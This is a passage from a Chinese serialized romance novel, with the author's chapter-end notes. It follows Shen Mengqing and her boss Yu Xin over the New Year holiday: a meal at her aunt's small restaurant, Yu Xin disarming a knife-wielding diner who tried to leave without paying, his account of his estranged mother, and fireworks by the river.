倏地举起手用屏幕发出的亮光照向沈孟青的脸,一晃而过,闪得沈孟青下意识眯了下眼。 “你干嘛……” 沈孟青话还没说完,余辛便勾下腰, 凑近到她脸前。四下阴暗, 他的面庞洁净, 轮廓流畅, 一双微挑的眼眸紧紧盯着她,目光从她的眼睛缓缓下移至唇瓣。 沈孟青抵在墙边, 他们两人的手机还时不时传出细细碎碎的汇报声,她仍在试图听清同事说话的内容,但黑暗中某人的接近有点打乱了她的听觉系统, 心脏跳动的声音远远大过了手机的音量。 汇报的声音忽然停止,会议里似是有人在喊余辛,问他有没有什么意见。 沈孟青见余辛置若罔闻,低声提醒道:“他们在喊你。” 余辛却不答话,盯了沈孟青几秒后,他从容地将手掌抬至她脸侧,用大拇指轻轻擦过她的唇角。 “你嘴边有东西。” 他说完,这才拿起手机,垂头说起自己的建议。 沈孟青本想回怼他几句,但他开着麦,她不敢出声,只得恼怒地踩了下他的脚,一拳砸在棉花上般不够解恨。 余辛发表完意见,以为她要说话,刻意将手机移至她脸前,另一只手指了指麦克风的标识,将她的话堵回去。 沈孟青眼疾手快地关掉他的麦,叉腰说:“你故意的吧。” “怎么会。”余辛手一插兜,“你不信就算了。” 还给他委屈起来了。 沈孟青睨了眼他,注意力重新回到线上会议。 二十分钟后,会议结束,沈孟青把手机放回口袋。她拉开门,外头一片幽暗,夜凉如水,在万籁俱寂之中,她饥饿的肚子突然咕咕抗议了几声。 立在她身后的人轻笑一声,说:“饿了?” 沈孟青边抬脚往餐厅走去,边说道:“还不是被你们这些资本家压榨的。” 也不知道是因为周遭太暗,还是沈孟青穿着深色修身衣服的缘故,余辛在后头瞧着她纤细的背影,感觉她又瘦了,腰间似是又少了几两肉。 他说:“嗯,是我压榨的,那你晚上多吃点。” 沈孟青轻哼一声,怕陈姨和郝奇思等太久,她脚步加快,余辛落在后面,倒还是闲散姿态,不紧不慢地走着。 两人到了餐厅,陈姨和郝奇思正气氛融洽地聊着天,见人到齐了,她紧忙把保温的菜端了上来。 “你们再晚点来,这些菜都要不好吃了。”陈姨絮絮叨叨地说着,“孟青,你和弟弟今晚多吃点,别客气。” 沈孟青夹起一块松鼠鳜鱼往嘴里塞去,鼓鼓囊囊着嘴说:“陈姨放心吧,您做的菜这么好吃,我们肯定不会浪费一点儿。” 陈姨就喜欢看晚辈把饭菜吃得很香的模样,平日里看久了余辛那慢条斯理的样子,这会见郝奇思大快朵颐,心情都好了不少,十分有烹饪的满足感。 一顿饭吃完,时间已近九点,陈姨不好再留客人,怕太晚回去了不安全。余辛揣起车钥匙,很自觉地承担起送这对姐弟回去的任务。 和陈姨道了别,沈孟青上车后,搜了一下路程和时间,她对余辛说:“要不我们自己打车回去吧,我看了下郝奇思学校离得有点远,你送完我俩还得回来,太倒腾了。” “不用。”余辛点燃发动机,说道,“我今晚回福江路住,就算去一趟他学校也就一个小时左右。” 沈孟青拗不过他,毕竟他才是掌控着汽车四条腿的司机,只得听之任之了。 在寒冷的冬季,外头刮着刺脸的凉风,人坐在温暖的车子里,格外舒适,她甚至恍然生出一种想要这辆车开得越久越好的蜗居感。 郝奇思在后座一声不吭,沈孟青还以为他睡着了,谁料他陡然出声说:“姐,你下周元旦回家吗,我妈的餐馆过几天开门。” “这么快。”沈孟青惊讶道。 郝奇思说:“是,当时接了前一个商家的一部分装修,她这餐馆设计也简单,不用装修多久,办个营业执照就差不多能开业了。” “行,那我下周去试试菜。” 沈孟青笑着应下说。 郝奇思在的学校周边有不少高校,像是个小型的大学城,一走近周围的道路,街边店铺和行人都多了不少,都是些夜生活丰富的年轻男女。 沈孟青目送着他进了学校,等人影没了,余辛才踩下刹车,缓缓调头。 他一只胳膊支在窗户边,闲聊一般的语气问起:“下周要回楚城?” “是,正好我向你请个假,我想提前两天回去。” 沈孟青还是头一回这么有底气的请假,以往在销售部的时候,梁军总得卡他们两句。 余辛点点头,没什么意见。 请假本就是员工的合法权益,他向来觉得劳逸结合更能激发人的工作效率,对于别人的请假缘由,他从不多问。 “郝奇思之前借我的钱是为了给他妈妈开饭店用?”余辛说。 沈孟青嗯了声。 余辛:“那你不该还我的,开店前期要用钱的地方多着呢,多留些钱总是好的。” “那更应该还你了,我们自己家里人互相借也就算了,哪能我亲戚开个店,钱还借到你这来了。” 沈孟青计较着说。 余辛撇撇嘴:“我乐意。” 沈孟青一直算账算得门清,余辛知道她犟得很,转而说道:“那我也算个原始股东了吧,不请我去吃饭吗?” “我们小饭馆的菜,余董事长怕是吃不惯吧。”沈孟青怼他道。 余辛挑了挑眉,看向沈孟青的眼神仿佛在无声说她提起裤子不认人。 他说:“怎么,还没开张呢,你就替人家老板赶客了?” 这话倒是说的没错,毕竟店是人三姨开的,沈孟青轻哼了声:“爱吃不吃。” 沈孟青生闷气的时候,眼尾微微垂下,脸颊线条因为含着气而鼓润,更像一颗鲜嫩饱满的蜜桃,一颦一嗔间都是灵动。 余辛睨了她眼,一边望向后视镜确认路况,一边噙着笑,过了几秒,终是没忍住,低低沉沉地笑了开来。 沈孟青不知道他心中所想,只觉得他是在嘲笑自己理亏还逞强,气冲冲地侧了个身,索性闭眼小憩起来。她琢磨着新的一年真得买个车了,不然出行太不方便,还容易被某人钻空子,她在脑子里过着之前看中的几个汽车品牌,逐渐陷入沉睡。 余辛的车牌还录在她小区门禁里,轻车熟路地开了进去,等车停下时,沈孟青缓缓睁开眼。 她小幅度地伸了个懒腰,而后打开门,准备下车。 关门前,余辛开口道:“下周见。” 沈孟青迎上他深邃的视线,挥了挥手- 今年的最后一天是在周五,沈孟青请了三天假,周三晚上就回到了楚城。 她特意让网约车司机把她放在小区门口,拉着行李箱去三姨的餐馆吃了碗馄饨。 小饭馆的店面不大,门牌上写着“郝味道”三个大字,沈孟青一看这名字,就猜到是郝奇思给取的。 门口盖了层透明的挡风布,沈孟青掀帘进去,三姨正在后厨忙活,郝孟这会恰巧在店里帮忙,一瞧见沈孟青,郝孟眼睛一亮,接过她手里的行李箱,随手拉了个凳子让她坐下。 不用沈孟青点单,郝孟也能知道她想吃什么,等一碗馄饨端上桌,郝孟举着个收款二维码的牌子,公正无私地说:“八块钱,扫码付款。” 三姨注意到动静,在后厨窗口那急忙喊着:“姐,别让阿青付钱。” 沈孟青手很快地输入了付款密码,她对着里头说:“三姨,让我也沾沾你这生意兴隆的喜气。” 三姨佯装生气地瞪了沈孟青,拿她没法,转头继续忙活去了。 隔壁桌一大叔也点的馄饨,吃得狼吞虎咽,呼呲作响,沈孟青赶了一天路,只吃了些难吃的快餐填腹,此时被这大叔感染了,也不顾形象地大口吃了起来。 等好几个馄饨下肚,她又喝了口鲜甜的汤,畅快得很。 这时,手机屏幕骤然亮起,显示有一条新消息。 沈孟青点进去,弹进和余辛的对话框。 狗头上司: 「到家了?」 「晚上吃什么。」 他拍了张餐桌的照片,看起来又在檀香路,但饭菜比她和郝奇思在的那顿简陋了不少。 他又发来句: 「你们不在,陈姨都懒得给我做饭了,让厨师随便做了几个菜。」 沈孟青眉眼一弯,拍了下自己桌上的馄饨,给余辛发去。 她笑着输入道: 「我在吃世界上最美味的东西。」 余辛回她: 「我也想吃。」 沈孟青歪了歪头: 「那余总自己想办法吧。」 等再次显示新消息提醒时,沈孟青还以为是余辛发来的,没想到是李青河找她约后天的时间,他好订餐厅。 沈孟青预想了下,中午可能要和亲戚聚餐,晚上的时间合适些,而且,这顿也该她请客了。 她刚给李青河回复过去,余辛就发了张截图来。 是他买下的后天来楚城的机票。 沈孟青动作一顿,这俩人的行程怎么挤一起了—— 作者有话说: 跨年夜忙碌的阿青 见完你的见你的见完你的见你的[害羞] 第56章 第五十六章 烟花的记忆 到了十二月三十一这天, 如沈孟青所料,中午姨妈们攒了个聚餐,一家人齐齐聚在沈孟青家里热闹。为了庆祝节日, 长辈们还特意带了几瓶酒喝, 沈孟青百般推辞,到底还是没逃过, 陪了几杯。 一顿饭持续到了下午两三点才结束, 晚上和李青河聚餐的餐厅是她预定的, 约的五点半开席, 以免耽误晚上他们陪家人跨年。 沈孟青短暂休息了会,便起床开始化妆了。毕竟是节日, 即便是见朋友, 也还是需要些仪式感,她特意搭配了一会穿出门的衣服。 除了三姨去郝味道店里忙活了, 其他俩姨妈还在她家和郝孟闲聊, 这会见沈孟青装扮精致地从房间里出来,不免都夸奖几句,说她这样貌气度真真是捡的父母优点,也不知道以后会便宜哪个男人。 郝孟笑得捂嘴, 顺着话说她也好奇什么时候沈孟青能找个男朋友带回家呢。 沈孟青见话题走向不对, 又给这几人聊到婚恋上去了, 她拎起包, 逃也似的溜了。 她仍旧开郝孟的车出门,快到跨年夜, 江边的路格外堵,窗户外唯有行人和电动车游走自如。她已是提前了三四十分钟出门,没想到还是踩点到了餐厅。 在预约好的位置坐下后, 服务员给沈孟青递上一份菜单,她边等李青河来,边翻阅着。 大概过了十五分钟,餐厅里其他桌的客人都吃得火热,李青河却还没现身,甚至她发去问他情况的消息也还没回复。 为了保证节假日的翻台率,这个餐厅规定从一人坐下起,就需要在两个小时内用餐结束。沈孟青又等了会,李青河才打来了电话。 她刚接通,对面就说来一声:“抱歉,我可能来不了了。” “怎么了,是有什么事吗。”沈孟青盖上菜单,说道。 李青河的语气听起来饱含着歉意,为难道:“对,我家这边有点事,具体我晚点给你解释可以吗。对不起,如果不是实在没法抽身,我不会不来的,等你回了北城,我请你。” 虽然她一人坐在这等了这么久有些尴尬,但她也能理解突发情况的出现 ,沈孟青安慰了李青河几句,挂断了电话。 来都来了,听说这家有几道招牌菜不错,沈孟青喊来服务员,打包了几份菜走。 开车回去的路上倒是顺畅了很多,和去江边跨年的人是逆行的方向。副驾驶座上的热菜冒着幽香,沈孟青饿得前胸贴后背,她打算把这些菜提到三姨的餐馆里去。正好郝孟和郝奇思估计也在店里帮忙,和他们一道吃了。 郝味道今晚只营业到九点,大多数家庭都下馆子去了,店里吃饭的都是些一人散客的身影。 沈孟青提着菜走进店里时,一身穿得太端庄淡雅,显得和这苍蝇小馆有点格格不入,她把菜往最里头的桌子一放,喊来其他人一起吃菜。 三姨和郝奇思正忙着,让她先吃,郝孟撇了她眼,斜斜在她对面坐下,说:“你这是吃完了,还是人放你鸽子了?” “李青河有事,临时来不了。” 沈孟青没什么所谓的神色,一个个掀开保鲜盒的盖子。 看她脸上丝毫不伤心,郝孟心下微叹,看来自己女儿是的的确确对李青河不来电。 母女俩又闲闲碎碎聊了会小话,偶尔郝奇思经过时用手偷几块肉吃,等门口有桌客人吃完饭了,郝奇思自觉地去收拾桌面。 倏地,店门又被推开,嗖嗖灌进一阵冷风往里吹来,风里还略微掺杂着来人身上的味道。 郝奇思就在门边,第一个瞧见来人,他先是一怔,而后迎了上去,手里还攥着一块抹布:“余辛哥?!你怎么来了。” 沈孟青本低头吃着饭,听见郝奇思这声,她心头一跳,循声望去,只见余辛穿着一件黑色皮夹克,里头套了件深灰色毛衣,身姿挺拔地站在门口,和沈孟青一样,他的穿搭像是误入这家小店的,和她倒搭配得很。 或许是方才手一直暴露在冷空气里,他的指尖和节骨都泛着红色。余辛的目光掠过店里的人,精准地落在沈孟青身上。 沈孟青的话卡在喉咙里,没出声,余辛很快移开眼,侧头看向郝奇思说:“不打扰吧?” “当然不会。” 郝奇思把桌子擦得锃亮:“哥你先坐这吧,想吃什么?” 余辛松松然坐下,睨了眼菜单,说:“一碗馄饨。” “好嘞。” 郝奇思回后厨的路上,看了好几眼沈孟青,沈孟青给他使了个眼色,让他把账记她头上。 郝孟就坐在对面,看着沈孟青和郝奇思诡异地眉来眼去,她歪了下身子,伸出头,疑惑地朝那个长相清隽,气质冷峻的陌生男人看去。 余辛察觉到她的眼神,礼貌地屈身点了个头。 郝孟也对他笑了笑,坐正了姿态,朝沈孟青问道:“你认识啊?” 沈孟青把嘴里的饭菜咽下,说:“我公司老板。” 郝孟睁大了眼,感叹着:“这么年轻?!” 沈孟青说:“嗯,他爸爸前不久过世了,所以接管了公司。” “哎,那也挺可怜的。” 大约是自己丈夫也去世了的缘故,郝孟总是会对一些父母不能相伴在旁的小孩产生恻隐之心,她又看了几眼余辛,心想他看起来还挺坚强的。 就在此时,另一桌的一位客人吃完了饭,站起身抬脚往外走,三姨眼尖地瞥见,高声喊了句:“哎!大哥,你还没付钱。” 余辛的馄饨还没端上桌,他长腿一迈,几步拦住那男人的去路。 男人穿着很普通,是走在大街上看一眼都记不住的外形,他沉着脸,说话有点狠意:“你干什么?” “你没付钱。” 余辛根本不怕他,眉目发冷。 男人极快地回头看了眼,店里大多都是些手无束缚之力的女人,不过余辛和郝奇思俩男人,他有了几份底气,伸出胳膊往余辛胸前撞去,想把他顶开跑出店。 没想到,余辛的力气竟比他大不少,他这一下不仅没将余辛推开,反而被他箍住了手臂。 “给老子松手!” 三姨这会才匆匆赶来,她不知道余辛的身份,只当他是在和这位逃单的壮汉打架,便伸出手想把两人拉开,却反而被壮汉一推,腰间撞在桌角,疼得她倒吸一口冷气。 郝孟上前去把三姨搀扶回来,沈孟青急忙把洗碗的郝奇思拉了出来,刚走出后厨,她就看见那壮汉从兜里抽出个小工具刀,高高地扬起。 “妈!”沈孟青脸色煞白地喊道。 下一秒,余辛眼疾手快地掐住男人握刀的手,沈孟青也看不清他手腕的动作,只觉得翻得和花似的,就把男人的手一折,工具刀铛啷掉在了地上。 郝奇思几步上前,把那刀拿在手上,防止这男人再得手。 “你他妈谁啊!”男人被激怒,还在那大幅度地想要挣脱余辛的禁锢。 余辛眉眼一凛,顺势将这人的手臂反剪,用膝盖压在他背上,瞬间将人制服。 沈孟青报了警,没等几分钟,警察就到了。 男人被拷下后,警察让他们去做笔录,余辛走到前头,本想主动请缨去警局,郝孟却朝他摆摆手,转头对沈孟青说:“阿青,你带他回家处理一下伤口,手心还流着血呢,就别去了。” 沈孟青一愣,她这才发现余辛受伤了。 她走到余辛跟前,让他摊开手掌,中心有一道被工具刀划开的口子,不算浅。 “走吧,我带你去消毒。” 还好三姨这店就开在她小区门口,回家也方便。 沈孟青领着余辛在小区里走走绕绕,进了屋子后,她顾不上穿穿拖鞋,踢踢踏踏把医药箱找了出来。 她用镊子夹出一团碘伏棉花,小心翼翼地沾在余辛掌心的创口上,问他说:“疼不疼?” 余辛沉默了会,说:“虽然很想说疼,但是没什么感觉。” 沈孟青白了他眼:“还装呢,刚才那么危险,你还和人硬碰硬,这种疯子说不定就把刀扎在致命的地方了。” 她话音一落,抬起手状似要朝余辛手心狠狠拍下,他还真躲也不躲,手掌没移动一分。 “当时想不了那么多。”余辛神色淡淡地说,“而且,那几个都是你的家人,谁能不急。” 沈孟青手上一顿,不自然地嘁了声。 消毒完后,沈孟青还贴了个创口贴在余辛手里,余辛的视线始终落在她身上,安静得很。 当她终于处理好伤口,想要退开时,窗外突然炸开几簇绚丽的烟花,是江边的方向。 盛大而多彩的光芒霎时间照亮整个阳台,两人不约而同地朝外头看去,眸里同时映射出烟花的倒影,闪烁着细碎的锋芒。 沈孟青忽地想起上次看烟花的情形,一股热意从心头涌至耳尖,她下意识看向余辛,却落入对方摄人心魄的眼瞳里。 那些被封存已久的记忆莫名席卷而来,在她脑海中逐帧地放映,时隔这么长一段时日,她居然还记得清清楚楚。 沈孟青深知再和他对视下去,自己好不容易搭建起的界限又会坍塌,她盖上医药箱,正想起身远离他一会,不料脚下不稳,她身子一歪向前栽去。 她用双手撑在余辛身体两侧的沙发上维持平衡,一抬起头,和余辛的距离被无限拉近。 沈孟青甚至能感受到他的体温,烟花的余晖在他深邃的眼底明明灭灭,那里翻涌着她熟悉的浪潮。 在下一朵烟花绽开之前,沈孟青身随心动,缓缓俯身下去—— 作者有话说: 辛子:如果我喊疼老婆你会安慰我吗 阿青又被美色蛊惑了! 第57章 第五十七章 不许提别的男人 江边的烟花仍喧腾地叫嚣着, 一簇一簇变幻着丰富的形态和色彩,围观的人们都仰头欣赏着,脸上满是幸福的笑容。旧的一年将要过去, 好像所有的执念和苦恼也终会随着烟花消逝, 他们透过眼前的美景许下新年的希冀。 沈孟青耳边烟火的声音逐渐消失,她掌控着主动权, 目的明确地朝着余辛柔软的唇瓣而去。 就在即将相触时, 余辛一个抬手, 悠哉哉挡在了她脑门上。 沈孟青睁圆了一双杏眼, 疑惑地看向余辛。 余辛唇角微微勾起,说:“不合适。” “?” 莫名其妙。 沈孟青瞬间冷了下来, 移身坐下, 问他:“你什么意思?” “不是你说的么,我们前一段关系建立在欲望之上, 所以感情不牢固。在你没有爱上我之前, 我认为我们还是不要重蹈覆辙了。”余辛注视着她,促狭地说,“当然,如果你现在承认你爱我, 我自然任你摆布。” 沈孟青气得脱口而出:“管你, 我又不是没有别的男人……” 余辛骤然抽出一只手, 紧紧攥住沈孟青纤细的手腕, 他拽了下,沈孟青就脱了力, 失去支撑地倒在沙发上,余辛也顺势扑伏而下,为了避免脑袋碰撞, 他用手肘撑起上身。 他居高临下地俯视着沈孟青,视线从她的眼眸游走至红唇,又一路向下,停在锁骨处。 “沈孟青,不许提别的男人。”他眸光闪动,幽幽说道,“这事,吃亏的是你。” 这姿势别扭,沈孟青的腰拉伸得酸痛,她注视了余辛几秒后,抬手按住他的肩,微微使劲把他推开。 沈孟青和余辛大眼瞪小眼地坐着,余辛还含着那口飞醋,直勾勾地盯着她,咽不下去,吐不出来,酸得他牙疼。 过了片刻,沈孟青才想起余辛这位见义勇为的壮士还没吃饭,她开口问他:“饿不饿。” 余辛冷哼了声:“这会才问我。” 他刚说完,见沈孟青似是扭过头不想再理他,连忙又说:“再晚几分钟问,我都要饿死在你家了。” “行,我去给你弄点吃的。” 她没什么下厨的心情,从冰箱里拿了些中午剩的凉菜卤菜,再翻出一桶方便面,往桌上一搁。 余辛也确实是真饿了,接过筷子便吃了起来。 沈孟青坐在他对面,端了杯温水喝着。她见余辛风尘仆仆的,忽而问道:“你怎么不和陈姨一起跨年?” 余辛淡淡道:“她又不是没家人,回家和陈墨还有她老公过去了。” 沈孟青点点头,顿时想起梁美林来,她试探地问:“你不是也有妈妈么,怎么不和梁阿姨过?” “……” 余辛搁下筷子,抽了张纸擦了擦手,说:“沈孟青,我和我妈的关系,有点复杂。” “我应该和你说过,我很小的时候爸妈就离婚了,在那之后不久,我妈就再嫁了。小时候,我爸没怎么管过我,同样,我妈也从来没回来看过我,大概是我在中学时,听别人在背后说我闲话,我才知道我妈又生了俩小孩。” “我有次实在是对她现在的生活太好奇了,我很想当面问问她,她真的能做到把我忘得一干二净,当她从没生过我这个小孩吗,也想看看她是怎么对那两个小孩的。我从陈姨那里套话,问到了她的地址,在下课后偷偷地过去了。那天正好是她一个小孩的生日,她特别开心地牵着那人的手,另一只手提着蛋糕,拉着他进了单元楼。” 余辛如今对于那个场面都记忆犹新,他像个阴暗的流浪狗,在一棵树丛后面悄悄地蹲守着。梁美林的车牌号他知道,当那辆车停下楼下时,他的心脏快要跳出胸膛。 他幻想着梁美林一下车就看见了他,然后流下热泪,痛哭着将他拥入怀里,诉说着这些年她有多想他,有多放不下他。 可惜,先从车上下来的是她的小儿子,比他小了六岁,性格比他活泼开朗多了,蹦蹦跳跳地占据了梁美林全部的视线和注意。梁美林手上提着蛋糕,笑着在小儿子眼前晃了晃,和蔼地摸了摸他的头。 她的话语顺着风传入他耳中:“宝贝,回去我们就吃蛋糕好不好,姐姐也放学了,我们一起吹蜡烛。” “好!” 她的小儿子热烈地回应着她。 等他们上了楼,余辛静静伫立了很久都没动身,直到小区里一大爷在这散步,才瞧见这有个一动不动的男孩。大爷问他来找谁,余辛沉默了会,一个字也说不出,转身走了。 …… 从回忆中抽身出来,余辛嘴角扯出一个苦涩的弧度,定定看着沈孟青,轻声道:“你知道,为什么我来愈生吗?” 沈孟青一怔,她的确时常听姜羽提起,余辛本来不想接管愈生的。 她沉沉问道:“为什么?” “大约半年前,我把存了全部积蓄的银行卡给了我爸,打算还清他之前抚育我花费的金额,以此来避免他要挟我接管愈生。可就在前几个月,梁美林突然找上了我,时隔多年再见到她,她对我说的第一句话是救救她的孩子。” 原来,梁美林的小儿子得了十分罕见的疾病,各种治疗也只能维持生命体征,几年下来几乎耗尽了梁美林和她丈夫的全部资产,可就在那时,主治医生告诉她可以去国外做个手术,有医生愿意试一试,只是医疗费用比以前都高上了不少倍。 为了在短时间内筹到钱,梁美林试过很多办法,但她身边都是穷亲戚,怎么都凑不够。 直到一天,她丈夫忽然想到了她的前夫,以及,她那个和前夫生的儿子。 余辛也一下拿不出这么多钱,但梁美林朝他苦苦哀求,声泪俱下地对他忏悔这些年没有关心过他,也不知道是梁美林太爱她的小儿子,还是余辛真的在她回溯的某一时刻感受到了一丝母爱,他当晚就回去找了余莫成。 余莫成自然知道梁美林的情况,他以此相逼,让余辛接下愈生,还威胁他不然会在遗嘱里说明把所有钱捐给慈善协会。 那段日子余辛过得很累,梁美林时不时就来找他,问他有没有办法筹到这个钱,余莫成那头又在逼迫他签字,还猝不及防地生了重病,进了医院。 沈孟青听完这个故事,不禁问他说:“那……最后你把钱给梁阿姨了,对吗?” “嗯。”余辛眼睛低垂,眼睑处落下一块阴影,“上次你在我家,她不是来了吗,就是来和我说,她儿子手术成功了。那一刻我才明白,她的母爱好像真的没在我身上停留过,只是她对小儿子的母爱感染到了我,让我产生了错觉。” 余辛的话让沈孟青眼眶没来由地酸胀起来,她吸了下鼻子,安慰道:“小时候,她一定是爱过你的。” 余辛耸耸肩:“或许吧。” “我已经习惯了没有她的生活,所以任何对她的情绪,都是奢求,都是本来就不会出现在我身上的。没有,我也不会再难过了。” 他很平心静气,但不知怎的,沈孟青被触动到了,落下几滴眼泪来。 也是有人会为他流泪的。 余辛勾下腰,朝她倾身而去,伸出宽大的手掌拭去她脸颊的泪滴。 “别哭,我这不是好好的么。”余辛轻笑着说。 他抽空递了张纸过去,沈孟青拈住纸巾鼻涕眼泪一把擦,嘴上怪罪着:“都怪你,跨年夜这么开心的时候,说这种伤心故事,心情都不好了。” 余辛大剌剌抻开两条长腿,环住沈孟青坐的椅子,他低声细语地说:“那你怎么才会心情好。” 沈孟青默了两秒,想不出。 余辛说:“想不想去看烟花?” “都快结束了吧。”沈孟青估算着时间。 余辛不以为意:“那就自己买,去江边放。” 沈孟青眨了眨眼,这提议太过随性,但是莫名有种巨大的吸引力,诱惑着她说好。 余辛等了她会,见她不说话,便当机立断地拿起他们两人的外套: “走吧,小泪人!” “谁是小泪人!——” 沈孟青拌嘴的话还没说完,整个人就被余辛拽了起来,几步出了门去。 余辛的记性极好,不过才走一次,就记住了她家到门口的路。 出来吹了吹冷风之后,沈孟青眼里的湿润很快被风吹干,脸颊绷着,再哭不出来了。 走到门口时,沈孟青望见几个进门的身影,觉得有点眼熟,再仔细一看,竟然是从警察局回来的那三人。 郝孟率先和自己女儿对上眼,她脚步一顿:“要出去?” 沈孟青尬笑了两声,余辛替她接上话,正色道:“阿姨您好,我是余辛,是沈孟青的朋友,我们打算去江边看会烟花。” 朋友? 郝孟看了沈孟青一眼,不是说是公司老板吗。 沈孟青干巴巴附和两句:“对对,看烟花去。” 三姨脑回路直,嘴巴更是跑得快:“这都开始多久了,你们才过去看啊,还能看见不?大冷天的,冻人呢。” 郝孟扯了下她,笑盈盈地说:“你们去吧,年轻人多出去玩玩。不过晚上回来要注意安全啊,今天人多。” “阿姨您放心,我一定把孟青好好送回家。” 余辛态度诚恳道。 郝孟点了下头,让他们两人走了。 大街上还不少人,但没几辆出租车,滴滴也叫不到,余辛问了嘴这里走过去要多久,沈孟青说二十多分钟吧,两人当即决定走过去。 沈孟青从方才余辛和郝孟的照面中回过味来,小声吐槽道:“你刚刚当着我妈面喊我孟青,我都不习惯了。” 余辛觉得好笑:“那我该喊你什么?” 沈孟青想象了下:“这种情况下,应该就全名吧。” “太生疏了。”余辛揣着兜,懒懒散散说,“也不能叫沈秘书。” “当然了,又不是在上班。” “阿青怎么样?” “鸡皮疙瘩都起来了。” “我知道喊什么你比较习惯。” “什么?” “姐姐。” “滚!” 沈孟青抬起脚,踹了余辛一下。 余辛挨下这一脚,侧弯下身凑近沈孟青,眼里跃动着笑意对她说:“你急什么,我只是在学郝奇思而已。郝奇思平常天天叫你姐姐,你当然习惯了。还是说,你想起了别的。” “才没有。” 沈孟青给了他一记眼刀,余辛没忍住,放声笑了几句。 寒风斜斜,树影摇晃,两人的影子印在路边雪白的墙上,时不时相互交融在一起,又随着距离和灯光被拉开。余辛用的香水很适合秋冬,在这个季节闻到,冬季的冷清感被不断加深,挟着木质香味一起深深刻入脑中。 两人赶到江边时,恰巧看上了烟花的末尾,是发数最多,规模最大的几簇。 人潮还没褪去,摩肩接踵间,余辛下意识半抬着胳膊,防止沈孟青被人撞到。他们在来的路上没买到什么像样的烟花,只有那种插在生日蛋糕上的仙女棒,沈孟青怀里正抱着几只仙女棒和两罐啤酒,宝贝似的护着。 两人走了几步,刚好遇上几人离开,连忙在空地上坐下。 余辛拧开啤酒的拉环,泡沫从开口处急速冒出,等涌出来的液体流尽了,他才递给沈孟青。 沈孟青仰头看着连环绽开的烟花,喝了口酒,畅快地呼了口气。 余辛才打开另一罐,说:“怎么不等我,自己先喝了。” “干杯吧。” 沈孟青伸出手,和余辛碰了下杯。 她左右看了看,倏地问道:“你想许什么愿望。” 余辛思索了会:“没想好,你呢,我参考下。” “希望……新的一年,大家都能健健康康,快快乐乐的。” 她每次许愿,第一顺位都是健康,小时候是祈求上天不要带走爸爸,长大了,是祈祷生命能在希望中不断延续下去。 而在生的过程中,快乐是最重要的。 沈孟青被周遭的氛围感染,放下手里的啤酒,虔诚地抬头看天,期盼着人群许下的一众愿望能通过烟花让上天听见。 余辛没说话,反手撑着地,石板地上有细细碎碎的沙砾,在他掌心下不安分地滚动着,一点点划过他的手掌,暗自生痒,伤口处还有些撕裂的疼痛。 他不管不顾,扭头紧紧看着沈孟青的侧脸,看她眸中倒映的烟花,比天空上的景致还要动人一万倍。 他早就不许愿了,在遇见她之前,他甚至有点无欲无求那意思。 可现在,如果要对着这片烟火许愿的话,他想了想,在心里默念: 希望我和我爱的人都能得偿所愿—— 作者有话说: 辛子:为我的定力鼓掌! 可怜小狗坦白局 第58章 第五十八章 是我主动追求的她 等江滩的烟花放完, 聚集的人群便走了一大半,沈孟青和余辛站起身,拍了拍衣服, 拿着仙女棒往江边空旷的地方走去。 余辛拿出打火机, 给沈孟青点燃了一支,他对这种东西不感兴趣, 静静立在旁边看沈孟青玩。 一支才烧到一半, 沈孟青电话忽然响了起来, 她手忙脚乱地掏出手机, 把手上的仙女棒转移到余辛手上,接通电话说:“怎么了?” 她边听着电话里郝奇思的声音, 边看着余辛有样学样地晃着仙女棒画圈, 有点笨拙得好笑。 郝奇思这会正躲在卫生间里,他压低音量说:“姐, 你什么时候回来啊, 二姨和我妈一直在拷问我余辛哥的事,我快撑不住了。” “你能拖多久拖多久,实在不行,找个借口把你妈带回去。” 沈孟青说。 郝奇思在那头哀嚎, 沈孟青安抚了几句, 不等他多说两句就挂掉了电话。 她还没来得及把手机放回去, 身边有个小孩被她手里的仙女棒吸引住, 眼巴巴地看着。沈孟青被小孩的表情可爱到,分了几支出去。 小孩仍是不走, 她的家长似乎也不在附近,沈孟青只好拿过余辛的打火机,带她去人少的地方玩。 沈孟青的手机落在余辛手上, 没过多久,又来了个电话。 余辛看了眼来电提醒,轻哼一声,跨年夜她还挺忙,这么多人要应付。 他喊了句沈孟青,晃了晃手里的手机,示意她有人来电。 沈孟青以为还是郝奇思的电话,挥挥手让余辛替她接了就行,毫不在意地转回头,继续和小女孩玩仙女棒去了。 余辛手一顿,看向屏幕上联系人的备注,指尖一动,按下了接听。 李青河的声音从出声筒传出来:“喂,你现在在家吗,我才处理完这边的事情,想着再来和你说声抱歉,有时间的话,也可以见个面。” “她应该没时间。” 余辛望着和小孩玩得正欢的沈孟青,寒声说道。 李青河明显愣了下,而后语气疑惑地说:“余辛?” 余辛回他:“嗯,是我。” “怎么是你接的电话,沈孟青呢。”李青河的语调降了下来。 余辛佯装无辜地说:“她让我来接电话的。” 这语气欠揍得很,李青河直接抛下一句那我之后再找她,便挂了电话。 余辛揣好手机,心情极好地走到沈孟青和陌生小孩跟前,替她们一根根点燃仙女棒。当他被她们的欢声笑语包围时,他感觉今年在最后的时刻送了他一份珍贵的礼物。 …… 余辛按照约定将沈孟青送回了家,但他只送到了楼下,说自己礼数不全,没准备登门礼物,下次再来拜访。 沈孟青走进家门,郝奇思和三姨已经离开,郝孟正坐在沙发上看电视,见她回来了,用遥控器降低了点音量。 “回来了。”郝孟出声说,“玩得开心吗。” 沈孟青应道:“还行。” 郝孟一言不发地盯着沈孟青进屋换了家居服又出来在她身边坐下,终是没忍住,问她道:“你和那小伙子,到底什么关系?” 沈孟青明知故问:“谁啊?” 郝孟拍了下她剥橘子的手:“你说呢?” “不就是上司和员工吗。”沈孟青塞了瓣橘子进嘴里,有点酸,她眯了眯眼睛。 郝孟说:“可他说是朋友。” “那倒也算。” “阿青,你真当你妈我看不出来?”郝孟戳了下沈孟青,说,“你对他的态度和对李青河的完全不一样。” 沈孟青咽了咽空气,把剩下一半的橘子放回茶几:“是吗。” 郝孟叹了口气,这呆子自个悟去吧。 沈孟青自己当然知道她对余辛和李青河的感觉全然不同,但她不想让郝孟太过注意余辛,不然,郝孟又得插手催进度了。 快到凌晨十二点,电视机上晚会主持人和一众明星开始倒数,数到0时,大家齐声欢呼着新年快乐。 外头有人自己放着窜天的烟花,噼里啪啦地闹腾着,郝孟靠着沙发睡着觉,沈孟青轻轻给她盖上一层毯子。她拿起手机,有好几条新消息,都是来道祝福的。 沈孟青先回复了姜羽的,随即再一个个回了其他人,余辛的消息她留到了最后。 她给余辛发送道: 「同乐同乐。」 余辛嗔她: 「现在才回,有这么多人给你发?」 沈孟青轻笑一声: 「嗯,人缘太好了。」 余辛不再继续这个话题,转而说道: 